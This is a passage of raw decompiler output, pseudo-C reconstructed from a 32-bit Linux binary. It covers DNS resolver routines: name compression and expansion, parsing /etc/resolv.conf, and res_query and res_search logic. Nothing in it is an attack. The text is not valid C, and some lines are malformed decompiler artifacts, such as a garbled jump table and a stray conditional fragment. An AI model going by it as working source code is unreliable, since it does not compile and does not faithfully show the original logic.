                        edx = *ebx & 255;
                        ebx = ebx + 1;
                        if(edx == 46 || edx == 92) {
                            if(Vfffffff4 <= eax + ecx + 2) {
                                goto L0804d24a;
                            }
                            *ecx = 92;
                            ecx = ecx + 1;
                        }
                        *ecx = dl;
                        ecx = ecx + 1;
                        if(Ac <= ebx) {
                            goto L0804d24a;
                        }
                        eax = esi - 2;
                        edx = *ebx & 255;
                        ebx = ebx + 1;
                        if(edx == 46 || edx == 92) {
                            if(Vfffffff4 <= eax + ecx + 2) {
                                goto L0804d24a;
                            }
                            *ecx = 92;
                            ecx = ecx + 1;
                        }
                        *ecx = dl;
                        ecx = ecx + 1;
                        if(Ac <= ebx) {
                            goto L0804d24a;
                        }
                        eax = esi - 3;
                        edx = *ebx & 255;
                        ebx = ebx + 1;
                        if(edx == 46 || edx == 92) {
                            eax = eax + ecx + 2;
                            if(Vfffffff4 <= eax) {
                                goto L0804d24a;
                            }
                            *ecx = 92;
                            ecx = ecx + 1;
                        }
                        *ecx = dl;
                        ecx = ecx + 1;
                        if(Ac <= ebx) {
                            goto L0804d24a;
                        }
                    } while(esi = esi + -4);
                }
            }
        } else {
            if(eax != 192) {
                goto L0804d24a;
            }
            if(Vfffffffc < 0) {
                Vfffffffc = ebx - A10 + 1;
            }
            eax = (esi & 63) << 8;
            eax = eax | *ebx & 255;
            ebx = A8 + eax;
            if(A8 > ebx || Ac <= ebx) {
                goto L0804d24a;
            }
            Vfffffff8 = Vfffffff8 + 2;
            eax = Ac - A8;
            if(Vfffffff8 >= eax) {
                goto L0804d24a;
            }
        }
        esi = *ebx & 255;
    }
    *ecx = 0;
    ecx = A14;
    edx = *ecx & 255;
    if(edx != 0) {
        eax = *L08078FA0;
        do {
            if(dl >= 0 && *(eax + edx * 2 + 1) & 32) {
                goto L0804d24a;
            }
            ecx = ecx + 1;
            edx = *ecx & 255;
        } while(edx != 0);
    }
    if(Vfffffffc < 0) {
        Vfffffffc = ebx - A10;
    }
    eax = Vfffffffc;
L0804d296:
    esp = ebp - 24;
}

/*	Procedure: 0x0804D2A0 - 0x0804D402
 *	Argument size: 20
 *	Local size: 20
 *	Save regs size: 12
 */

L0804D2A0(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    esi = A8;
    edi = Ac;
    Vfffffff4 = edi + A10;
    Vfffffffc = 0;
    Vfffffff8 = 0;
    if(A14 != 0) {
        edx = *A14;
        Vfffffff0 = edx;
        A14 = A14 + 4;
        if(Vfffffff0 == 0) {
            goto L0804d30b;
        }
        edx = A14;
        Vfffffffc = edx;
        do {
            Vfffffffc = Vfffffffc + 4;
        } while(*Vfffffffc != 0);
        Vfffffff8 = Vfffffffc;
        goto L0804d30b;
L0804d2fc:
        edi = edi - 1;
    } else {
        Vfffffff0 = 0;
L0804d30b:
        ebx = *esi & 255;
        esi = esi + 1;
        if(ebx != 0) {
            do {
                if(Vfffffff0 != 0) {
                    eax = L0804D484(esi - 1, Vfffffff0, A14, Vfffffff8);
                    if(eax >= 0) {
                        goto L0804d33c;
                    }
                    if(A18 != 0 && Vfffffffc < A18 + -4) {
                        edx = Vfffffffc;
                        *edx = edi;
                        edx = edx + 4;
                        Vfffffffc = edx;
                        *Vfffffffc = 0;
                    }
                }
                Vffffffec = edi;
                edi = edi + 1;
                do {
                    if(ebx == 46) {
                        goto L0804d3ac;
                    }
                    if(ebx == 92) {
                        ebx = *esi & 255;
                        esi = esi + 1;
                        if(ebx == 0) {
                            break;
                        }
                    }
                    if(Vfffffff4 <= edi) {
                        goto L0804d3da;
                    }
                    *edi = bl;
                    edi = edi + 1;
                    ebx = *esi & 255;
                    esi = esi + 1;
                } while(ebx != 0);
                goto L0804d3b0;
L0804d3ac:
                ebx = *esi & 255;
                esi = esi + 1;
L0804d3b0:
                if(!(ecx = edi - Vffffffec - 1) && ebx == 0) {
                    goto L0804d2fc;
                }
                if(ecx - 1 > 62) {
                    goto L0804d3da;
                }
                *Vffffffec = cl;
            } while(ebx != 0);
            goto L0804d3d5;
L0804d33c:
            ebx = edi + 1;
            if(Vfffffff4 <= ebx) {
                goto L0804d3e9;
            }
            *edi = eax >> 8 | 192;
            edi = ebx;
            edx = edi;
            edi = edi + 1;
            *edx = cl;
            goto L0804d3f4;
        }
    }
L0804d3d5:
    if(Vfffffff4 <= edi) {
L0804d3da:
        if(Vfffffff0 != 0) {
            *Vfffffff8 = 0;
        }
L0804d3e9:
        eax = -1;
    } else {
        *edi = 0;
        edi = edi + 1;
L0804d3f4:
        eax = edi - Ac;
    }
    esp = ebp - 32;
}

/*	Procedure: 0x0804D403 - 0x0804D403
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D403()
{



}

/*	Procedure: 0x0804D404 - 0x0804D455
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L0804D404(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = A8;
    if(A8 < Ac) {
        do {
            edx = *eax & 255;
            eax = eax + 1;
            if(edx == 0) {
                break;
            }
            if(!(ecx = edx & 192)) {
                goto L0804d42a;
            }
            eax = eax + edx;
        } while(eax < Ac);
        goto L0804d440;
L0804d42a:
        if(ecx != 192) {
            goto L0804d448;
        }
        eax = eax + 1;
    }
L0804d440:
    if(eax <= Ac) {
        eax = eax - A8;
    } else {
L0804d448:
        eax = -1;
    }
}

/*	Procedure: 0x0804D456 - 0x0804D457
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D456()
{



}

/*	Procedure: 0x0804D458 - 0x0804D481
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D458(A8)
/* unknown */ void  A8;
{



    if(A8 >= 0 && !( *( *L08078FA0 + edx * 2 + 1) & 1)) {
        return(*( *L08078FA4 + edx * 4));
    }
    eax = edx;
    esp = ebp;
}

/*	Procedure: 0x0804D482 - 0x0804D483
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D482()
{



}

/*	Procedure: 0x0804D484 - 0x0804D6B6
 *	Argument size: 16
 *	Local size: 36
 *	Save regs size: 12
 */

L0804D484(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = A10;
    goto L0804d69c;
L0804d68f:
    eax = Vfffffff8 - Ac;
    goto L0804d6ad;
L0804d69c:
    while(Vfffffffc < A14) {
        ebx = A8;
        ecx = *Vfffffffc;
        Vfffffff8 = ecx;
        esi = *ecx & 255;
        for(edi = ecx; 1; esi = *edi & 255) {
            edi = edi + 1;
            if(esi == 0) {
                break;
            }
            if(eax = esi & 192) {
                if(!(esi = esi - 1)) {
                    eax = !esi & 3;
                    if(esi > -1) {
                        if(eax == 0) {
                            goto L0804d590;
                        }
                        if(eax < 3) {
                            if(eax < 2) {
                                if(*ebx == 46) {
                                    goto L0804d698;
                                }
                                if(*ebx == 92) {
                                    ebx = ebx + 1;
                                }
                                ebx = ebx + 1;
                                Vfffffff4 = L0804D458( *ebx & 255);
                                edi = edi + 1;
                                if(Vfffffff4 != L0804D458( *edi & 255)) {
                                    goto L0804d698;
                                }
                                esi = esi - 1;
                            }
                            if(*ebx == 46) {
                                goto L0804d698;
                            }
                            if(*ebx == 92) {
                                ebx = ebx + 1;
                            }
                            ebx = ebx + 1;
                            Vfffffff0 = L0804D458( *ebx & 255);
                            edi = edi + 1;
                            if(Vfffffff0 != L0804D458( *edi & 255)) {
                                goto L0804d698;
                            }
                            esi = esi - 1;
                        }
                    }
                    if(*ebx == 46) {
                        goto L0804d698;
                    }
                    if(*ebx == 92) {
                        ebx = ebx + 1;
                    }
                    ebx = ebx + 1;
                    Vffffffec = L0804D458( *ebx & 255);
                    edi = edi + 1;
                    if(Vffffffec != L0804D458( *edi & 255)) {
                        goto L0804d698;
                    }
                    if(!(esi = esi - 1)) {
L0804d590:
                        do {
                            if(*ebx == 46) {
                                goto L0804d698;
                            }
                            if(*ebx == 92) {
                                ebx = ebx + 1;
                            }
                            ebx = ebx + 1;
                            Vffffffe8 = L0804D458( *ebx & 255);
                            edi = edi + 1;
                            if(Vffffffe8 != L0804D458( *edi & 255)) {
                                goto L0804d698;
                            }
                            esi = esi - 1;
                            if(*ebx == 46) {
                                goto L0804d698;
                            }
                            if(*ebx == 92) {
                                ebx = ebx + 1;
                            }
                            ebx = ebx + 1;
                            Vffffffe4 = L0804D458( *ebx & 255);
                            edi = edi + 1;
                            if(Vffffffe4 != L0804D458( *edi & 255)) {
                                goto L0804d698;
                            }
                            esi = esi - 1;
                            if(*ebx == 46) {
                                goto L0804d698;
                            }
                            if(*ebx == 92) {
                                ebx = ebx + 1;
                            }
                            ebx = ebx + 1;
                            Vffffffe0 = L0804D458( *ebx & 255);
                            edi = edi + 1;
                            if(Vffffffe0 != L0804D458( *edi & 255)) {
                                goto L0804d698;
                            }
                            esi = esi - 1;
                            if(*ebx == 46) {
                                goto L0804d698;
                            }
                            if(*ebx == 92) {
                                ebx = ebx + 1;
                            }
                            ebx = ebx + 1;
                            Vffffffdc = L0804D458( *ebx & 255);
                            edi = edi + 1;
                            if(Vffffffdc != L0804D458( *edi & 255)) {
                                goto L0804d698;
                            }
                        } while(esi = esi - 1);
                    }
                }
                esi = *ebx & 255;
                ebx = ebx + 1;
                if(esi == 0 && *edi == 0) {
                    goto L0804d68f;
                }
                if(esi == 46) {
                    goto L0804d67e;
                } else {
                    goto L0804d698;
                }
            }
            if(eax != 192) {
                goto L0804d6a8;
            }
            eax = (esi & 63) << 8;
            eax = eax | *edi & 255;
            edi = Ac + eax;
L0804d67e:
        }
        if(*ebx == 0) {
            goto L0804d68f;
        }
L0804d698:
        Vfffffffc = Vfffffffc + 4;
    }
L0804d6a8:
    eax = -1;
L0804d6ad:
    esp = ebp - 48;
}

/*	Procedure: 0x0804D6B7 - 0x0804D6B7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D6B7()
{



}

/*	Procedure: 0x0804D6B8 - 0x0804D6D2
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D6B8(A8)
/* unknown */ void  A8;
{



    dx = *A8 << 8;
    return((dx | *(A8 + 1) & 65535) & 65535);
}

/*	Procedure: 0x0804D6D3 - 0x0804D6D3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D6D3()
{



}

/*	Procedure: 0x0804D6D4 - 0x0804D6FC
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D6D4(A8)
/* unknown */ void  A8;
{



    ecx = *A8 << 24;
    ecx = ecx | ( *(A8 + 1) & 255) << 16;
    ecx = ecx | ( *(A8 + 2) & 255) << 8;
    return(ecx | *(A8 + 3) & 255);
}

/*	Procedure: 0x0804D6FD - 0x0804D6FF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D6FD()
{



}

/*	Procedure: 0x0804D700 - 0x0804D718
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D700(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    *Ac = A8 >> 8;
    *(Ac + 1) = A8;
    return(*Ac);
}

/*	Procedure: 0x0804D719 - 0x0804D71B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D719()
{



}

/*	Procedure: 0x0804D71C - 0x0804D742
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D71C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = ecx >> 24;
    *Ac = al;
    eax = ecx >> 16;
    *(Ac + 1) = al;
    *(Ac + 2) = ecx >> 8;
    *(Ac + 3) = A8;
    return(*(Ac + 2));
}

/*	Procedure: 0x0804D743 - 0x0804D743
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804D743()
{



}

/*	Procedure: 0x0804D744 - 0x0804DE65
 *	Argument size: 0
 *	Local size: 1060
 *	Save regs size: 12
 */

L0804D744()
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffbdc;
	/* unknown */ void  Vfffffbe0;
	/* unknown */ void  Vfffffbe4;
	/* unknown */ void  Vfffffbe8;
	/* unknown */ void  Vfffffbec;
	/* unknown */ void  Vfffffbf0;
	/* unknown */ void  Vfffffbf4;
	/* unknown */ void  Vfffffbf8;
	/* unknown */ void  Vfffffbfc;
	/* unknown */ void  Vfffffc00;
	/* unknown */ void  Vfffffc06;
	/* unknown */ void  Vfffffc07;
	/* unknown */ void  Vfffffc08;
	/* unknown */ void  Vfffffc0a;



    Vfffffbf0 = 0;
    Vfffffbec = 0;
    Vfffffbe8 = 0;
    Vfffffbe4 = 0;
    if(*L08078544 == 0) {
        *L08078544 = 5;
    }
    if(*L08078548 == 0) {
        *L08078548 = 4;
    }
    if(!( *L0807854C & 1)) {
        *L0807854C = 704;
    }
    if(*L08078584 == 0) {
        L0804DFB4();
        *L08078584 = ax;
    }
    *L08078558 = 0;
    *L08078554 = 2;
    *L08078556 = 13568;
    *L08078550 = 1;
    *L080786A8 = *L080786A8 & 240;
    *L080786A8 = *L080786A8 | 1;
    *L080786A4 = 0;
    ebx = L08055668("LOCALDOMAIN");
    if(ebx != 0) {
        L0805680C(0x80785a4, ebx, 255);
        Vfffffbec = Vfffffbec + 1;
        ebx = 0x80785a4;
        *L08078588 = 0x80785a4;
        edx = 0x807858c;
        esi = 0;
        if(*L080785A4 != 0) {
            do {
                if(edx >= 0x80785a0 || *ebx == 10) {
                    break;
                }
                if(*ebx != 32) {
                    if(*ebx == 9) {
                        goto L0804d86b;
                    }
                    if(esi != 0) {
                        *edx = ebx;
                        edx = edx + 4;
                        esi = 0;
                        Vfffffbe8 = 1;
                    }
                } else {
L0804d86b:
                    *ebx = 0;
                    esi = 1;
                }
                ebx = ebx + 1;
            } while(*ebx != 0);
            while(*ebx != 0 && *ebx != 32 && *ebx + 247 > 1) {
                ebx = ebx + 1;
            }
        }
        *ebx = 0;
        *edx = 0;
    }
    eax = fopen("/etc/resolv.conf", "r");
    Vfffffbf4 = eax;
    if(Vfffffbf4 != 0) {
        Vfffffbdc = & Vfffffc00;
L0804d8e0:
        while(1) {
            if(L0804F5C4(Vfffffbdc, 1024, Vfffffbf4) == 0) {
                goto L0804dd98;
            }
            if(Vfffffc00 == 59 || Vfffffc00 == 35) {
                continue;
            }
            if(L08057B04(Vfffffbdc, "domain", 6) != 0 || Vfffffc06 != 32 && Vfffffc06 != 9) {
L0804d9c0:
                if(L08057B04(Vfffffbdc, "search", 6) != 0 || Vfffffc06 != 32 && Vfffffc06 != 9) {
                    if(L08057B04(Vfffffbdc, "nameserver", 10) == 0) {
                        if(Vfffffc0a == 32) {
                            goto L0804db0c;
                        }
                        if(Vfffffc0a == 9) {
L0804db0c:
                            if(Vfffffbf0 <= 2) {
                                goto L0804db19;
                            }
                        }
                    }
                    if(L08057B04(Vfffffbdc, "sortlist", 8) != 0 || Vfffffc08 != 32 && Vfffffc08 != 9) {
                        if(L08057B04(Vfffffbdc, "options", 7) != 0 || Vfffffc07 != 32 && Vfffffc07 != 9) {
                            continue;
                        }
                        L0804DE68( & Vfffffc07, "conf");
                        continue;
                    }
                    ebx = & Vfffffc08;
                    if(Vfffffbe4 > 9) {
                        continue;
                    }
                    edi = Vfffffbe4 * 8;
                    do {
                        if(*ebx == 32 || *ebx == 9) {
                            ebx = ebx + 1;
                            continue;
                        }
                        if(*ebx == 0 || *ebx == 10 || *ebx == 59) {
                            goto L0804d8e0;
                        }
                        Vfffffbe0 = ebx;
                        do {
                            if(L08057970("/&", *ebx & 255) != 0 || *ebx == 59 || *ebx < 0) {
                                break;
                            }
                            edx = *ebx & 255;
                            if(*( *L08078FA0 + edx * 2 + 1) & 32) {
                                break;
                            }
                            ebx = ebx + 1;
                        } while(*ebx != 0);
                        esi = *ebx & 255;
                        *ebx = 0;
                        if(L0804CEB4(Vfffffbe0, & Vfffffbf8) != 0) {
                            *(edi + 0x80786ac) = Vfffffbf8;
                            if(L08057970("/&", esi) != 0) {
                                *ebx = esi;
                                ebx = ebx + 1;
                                Vfffffbe0 = ebx;
                                if(*ebx != 0 && *ebx != 59 && *ebx >= 0) {
                                    eax = *ebx & 255;
                                    edx = *L08078FA0;
                                    if(!( *(edx + eax * 2 + 1) & 32)) {
                                        do {
                                            ebx = ebx + 1;
                                            if(*ebx == 0 || *ebx == 59 || *ebx < 0) {
                                                goto L0804dce6;
                                            }
                                        } while(*(edx + ( *ebx & 255) * 2 + 1) & 32);
                                    }
                                }
L0804dce6:
                                esi = *ebx & 255;
                                *ebx = 0;
                                if(L0804CEB4(Vfffffbe0, & Vfffffbf8) != 0) {
                                    goto L0804dd0c;
                                }
                            }
                            *(edi + 0x80786b0) = L0804DF74( *(edi + 0x80786ac));
                            goto L0804dd29;
L0804dd0c:
                            *(edi + 0x80786b0) = Vfffffbf8;
L0804dd29:
                            edi = edi + 8;
                            Vfffffbe4 = Vfffffbe4 + 1;
                        }
                        *ebx = esi;
                    } while(Vfffffbe4 <= 9);
                    continue;
L0804db19:
                    ebx = & Vfffffc0a;
                    if(Vfffffc0a == 32 || Vfffffc0a == 9) {
                        do {
                            ebx = ebx + 1;
                            if(*ebx == 32) {
                                continue;
                            }
                        } while(*ebx == 9);
                    }
                    if(*ebx == 0 || *ebx == 10 || L0804CEB4(ebx, & Vfffffbfc) == 0) {
                        continue;
                    }
                    edx = Vfffffbf0 << 4;
                    *(edx + 0x8078558) = Vfffffbfc;
                    *(edx + 0x8078554) = 2;
                    *(edx + 0x8078556) = 13568;
                    Vfffffbf0 = Vfffffbf0 + 1;
                    continue;
                }
                if(Vfffffbec != 0) {
                    continue;
                }
                ebx = & Vfffffc06;
                if(Vfffffc06 == 32 || Vfffffc06 == 9) {
                    do {
                        ebx = ebx + 1;
                        if(*ebx == 32) {
                            continue;
                        }
                    } while(*ebx == 9);
                }
                if(*ebx == 0 || *ebx == 10) {
                    continue;
                }
                L0805680C();
                ebx = L08057970(0x80785a4, 10, 0x80785a4, ebx, 255);
                if(ebx != 0) {
                    *ebx = 0;
                }
                ebx = 0x80785a4;
                *L08078588 = 0x80785a4;
                edx = 0x807858c;
                esi = 0;
                if(*L080785A4 != 0) {
                    do {
                        if(edx >= 0x80785a0) {
                            break;
                        }
                        if(*ebx != 32) {
                            if(*ebx == 9) {
                                goto L0804da92;
                            }
                            if(esi != 0) {
                                *edx = ebx;
                                edx = edx + 4;
                                esi = 0;
                            }
                        } else {
L0804da92:
                            *ebx = 0;
                            esi = 1;
                        }
                        ebx = ebx + 1;
                    } while(*ebx != 0);
                    while(*ebx != 0 && *ebx != 32 && *ebx != 9) {
                        ebx = ebx + 1;
                    }
                }
                *ebx = 0;
                *edx = 0;
                Vfffffbe8 = 1;
                continue;
            }
            if(Vfffffbec != 0) {
                continue;
            }
            ebx = & Vfffffc06;
            if(Vfffffc06 == 32 || Vfffffc06 == 9) {
                do {
                    ebx = ebx + 1;
                    if(*ebx == 32) {
                        continue;
                    }
                } while(*ebx == 9);
            }
            if(*ebx == 0 || *ebx == 10) {
                continue;
            }
            L0805680C();
            ebx = L08057B30(0x80785a4, " \t\n", 0x80785a4, ebx, 255);
            if(ebx != 0) {
                *ebx = 0;
            }
            Vfffffbe8 = 0;
        }
        goto L0804d9c0;
L0804dd98:
        if(Vfffffbf0 > 1) {
            *L08078550 = Vfffffbf0;
        }
        *L080786A8 = *L080786A8 & 15;
        *L080786A8 = *L080786A8 | Vfffffbe4 << 4;
        L0804F540(Vfffffbf4);
    }
    if(*L080785A4 == 0) {
        ebx = & Vfffffc00;
        if(L08056954(ebx, 255) == 0) {
            ebx = L08057970(ebx, 46);
            if(ebx != 0) {
                L08056640(0x80785a4, ebx + 1);
            }
        }
    }
    if(Vfffffbe8 == 0) {
        *L08078588 = 0x80785a4;
        *L0807858C = 0;
    }
    ebx = L08055668("RES_OPTIONS");
    if(ebx != 0) {
        L0804DE68(ebx, "env");
    }
    *L0807854C = *L0807854C | 1;
    esp = ebp + -1072;
    return(0);
}

/*	Procedure: 0x0804DE66 - 0x0804DE67
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804DE66()
{



}

/*	Procedure: 0x0804DE68 - 0x0804DF72
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 12
 */

L0804DE68(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    ebx = A8;
    if(!( *L0807854C & 2)) {
        eax = L0804F7EC(";; res_setoptions(\"%s\", \"%s\")...\n", ebx, Ac);
    }
L0804df60:
    while(*ebx != 0) {
        while(*ebx == 32 || *ebx == 9) {
            ebx = ebx + 1;
        }
        if(L08057B04(ebx, "ndots:", 6) != 0) {
            eax = L08057B04(ebx, "debug", 5);
            if(eax == 0) {
                if(!( *L0807854C & 2)) {
                    L0804F7EC(";; res_setoptions(\"%s\", \"%s\")..\n", A8, Ac);
                    *L0807854C = *L0807854C | 2;
                }
                eax = L0804F7EC(";;\tdebug\n");
            }
        } else {
            eax = L08056064(ebx + 6, 0, 10, 0);
            if(eax > 15) {
                *L080786A8 = *L080786A8 | 15;
            } else {
                *L080786A8 = *L080786A8 & 240;
                *L080786A8 = *L080786A8 | al & 15;
            }
            if(!( *L0807854C & 2)) {
                eax = L0804F7EC(";;\tndots=%d\n", *L080786A8 & 15);
            }
        }
        while(1) {
            if(*ebx == 0) {
                goto L0804df69;
            }
            if(*ebx == 32 || *ebx == 9) {
                goto L0804df60;
            }
            ebx = ebx + 1;
        }
    }
L0804df69:
}

/*	Procedure: 0x0804DF73 - 0x0804DF73
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804DF73()
{



}

/*	Procedure: 0x0804DF74 - 0x0804DFB0
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0804DF74(A8)
/* unknown */ void  A8;
{



    asm("xchg al,ah");
    asm("ror eax,0x10");
    asm("xchg al,ah");
    if(A8 >= 0) {
        return(255);
    }
    if((A8 & -1073741824) != -2147483648) {
        esp = ebp;
        return(16777215);
    }
    esp = ebp;
    return(65535);
}

/*	Procedure: 0x0804DFB1 - 0x0804DFB3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804DFB1()
{



}

/*	Procedure: 0x0804DFB4 - 0x0804DFDF
 *	Argument size: -8
 *	Local size: 8
 *	Save regs size: 0
 */

L0804DFB4()
{
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    (save)0;
    (save) & Vfffffff8;
    L08057254();
    eax = L08057230();
    edx = eax;
    return((Vfffffff8 ^ Vfffffffc ^ dx) & 65535);
}

/*	Procedure: 0x0804DFE0 - 0x0804E17E
 *	Argument size: 20
 *	Local size: 1024
 *	Save regs size: 12
 */

L0804DFE0(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffc00;



    ebx = A10;
    esi = A14;
    *(esi + 3) = *(esi + 3) & 240;
    if(!( *L0807854C & 1)) {
        if(L0804D744() != -1) {
            goto L0804e020;
        }
        *L0807E788 = -1;
L0804e016:
        eax = -1;
    } else {
L0804e020:
        if(!( *L0807854C & 2)) {
            L0804F7EC(";; res_query(%s, %d, %d)\n", A8, Ac, ebx);
        }
        ebx = L080608C8(0, A8, Ac, ebx, 0, 0, 0, & Vfffffc00, 1024);
        if(ebx <= 0) {
            if(!( *L0807854C & 2)) {
                (save)";; res_query: mkquery failed\n";
                L0804F7EC();
            }
            *L0807E788 = 3;
        } else {
            eax = L0804EA0C( & Vfffffc00, ebx, A14, A18);
            ebx = eax;
            if(ebx < 0) {
                if(!( *L0807854C & 2)) {
                    (save)";; res_query: send error\n";
                    L0804F7EC();
                }
                *L0807E788 = 2;
            } else {
                if(*(esi + 3) & 15) {
                    goto L0804e0dd;
                }
                ax = *(esi + 6);
                asm("xchg al,ah");
                if(ax == 0) {
L0804e0dd:
                    if(!( *L0807854C & 2)) {
                        ax = *(esi + 6);
                        asm("xchg al,ah");
                        eax = eax & 65535;
                        eax = L0804F7EC(";; rcode = %d, ancount=%d\n", *(esi + 3) & 15, eax);
                    }
                    eax = *(esi + 3) & 15;
                    if(eax <= 5) {
                        goto *(eax * 4 + 0x804e118)[L0804e150, L0804e160, L0804e140, L0804e130, L0804e160, L0804e160, ]goto ( *(eax * 4 + 0x804e118));
                        *L0807E788 = 1;
                        goto L0804e016;
                        *L0807E788 = 2;
                        goto L0804e016;
                        *L0807E788 = 4;
                        goto L0804e016;
                    }
                    *L0807E788 = 3;
                    goto L0804e016;
                }
            }
        }
        eax = ebx;
    }
    esp = ebp + -1036;
}

/*	Procedure: 0x0804E17F - 0x0804E17F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E17F()
{



}

/*	Procedure: 0x0804E180 - 0x0804E396
 *	Argument size: 20
 *	Local size: 20
 *	Save regs size: 12
 */

L0804E180(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = A14;
    Vfffffff4 = 0;
    Vfffffff0 = 0;
    Vffffffec = 0;
    if(!( *L0807854C & 1) && L0804D744() == -1) {
        *L0807E788 = -1;
    } else {
        *L08078B14 = 0;
        *L0807E788 = 1;
        ebx = 0;
        eax = A8;
        if(*A8 != 0) {
            do {
                if(*eax == 46) {
                    ebx = ebx + 1;
                }
                eax = eax + 1;
            } while(*eax != 0);
        }
        esi = 0;
        if(eax > A8 && *(eax - 1) == 46) {
            esi = 1;
        }
        if(ebx == 0) {
            eax = L0804E490(A8);
            if(eax != 0) {
                eax = L0804DFE0(eax, Ac, A10, A14, A18);
                goto L0804e38d;
            }
        }
        Vfffffff8 = -1;
        if(ebx >= ( *L080786A8 & 15)) {
            eax = L0804E398(A8, 0, Ac, A10, A14, A18);
            if(eax > 0) {
                goto L0804e38d;
            }
            Vfffffff8 = *L0807E788;
            Vffffffec = Vffffffec + 1;
        }
        if(ebx == 0) {
            if(*L0807854C < 0) {
                goto L0804e2a1;
            }
        } else {
            if(esi == 0 && !( *L0807854D & 2)) {
L0804e2a1:
                ebx = 0;
                esi = 0x8078588;
                if(*L08078588 != 0) {
                    do {
                        eax = L0804E398(A8, *esi, Ac, A10, A14, A18);
                        if(eax > 0) {
                            goto L0804e38d;
                        }
                        if(*L08078B14 == 111) {
                            goto L0804e37e;
                        }
                        eax = *L0807E788;
                        if(eax == 2) {
                            if(( *(Vfffffffc + 3) & 15) != 2) {
                                goto L0804e318;
                            }
                            Vfffffff0 = Vfffffff0 + 1;
                        } else {
                            > ? L0804e2f8 : ;
                            if(eax != 1) {
L0804e318:
                                ebx = ebx + 1;
                            }
                        }
L0804e319:
                        if(!( *L0807854D & 2)) {
                            ebx = ebx + 1;
                        }
                        esi = esi + 4;
                        if(*esi == 0) {
                            break;
                        }
                    } while(ebx == 0);
                    goto L0804e32f;
                    if(eax != 4) {
                        goto L0804e318;
                    }
                    Vfffffff4 = Vfffffff4 + 1;
                    goto L0804e319;
                }
            }
        }
L0804e32f:
        if(Vffffffec == 0) {
            eax = L0804E398(A8, 0, Ac, A10, A14, A18);
            if(eax > 0) {
                goto L0804e38d;
            }
        }
        if(Vfffffff8 != -1) {
            *L0807E788 = Vfffffff8;
        } else {
            if(Vfffffff4 != 0) {
                *L0807E788 = 4;
            } else {
                if(Vfffffff0 != 0) {
L0804e37e:
                    *L0807E788 = 2;
                }
            }
        }
    }
    eax = -1;
L0804e38d:
    esp = ebp - 32;
}

/*	Procedure: 0x0804E397 - 0x0804E397
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804E397()
{



}

/*	Procedure: 0x0804E398 - 0x0804E48E
 *	Argument size: 24
 *	Local size: 516
 *	Save regs size: 12
 */

L0804E398(A8, Ac, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffdfc;



    edi = Ac;
    esi = & Vfffffdfc;
    if(!( *L0807854C & 1) && L0804D744() == -1) {
        *L0807E788 = -1;
        eax = -1;
    } else {
        if(!( *L0807854C & 2)) {
            (save)A14;
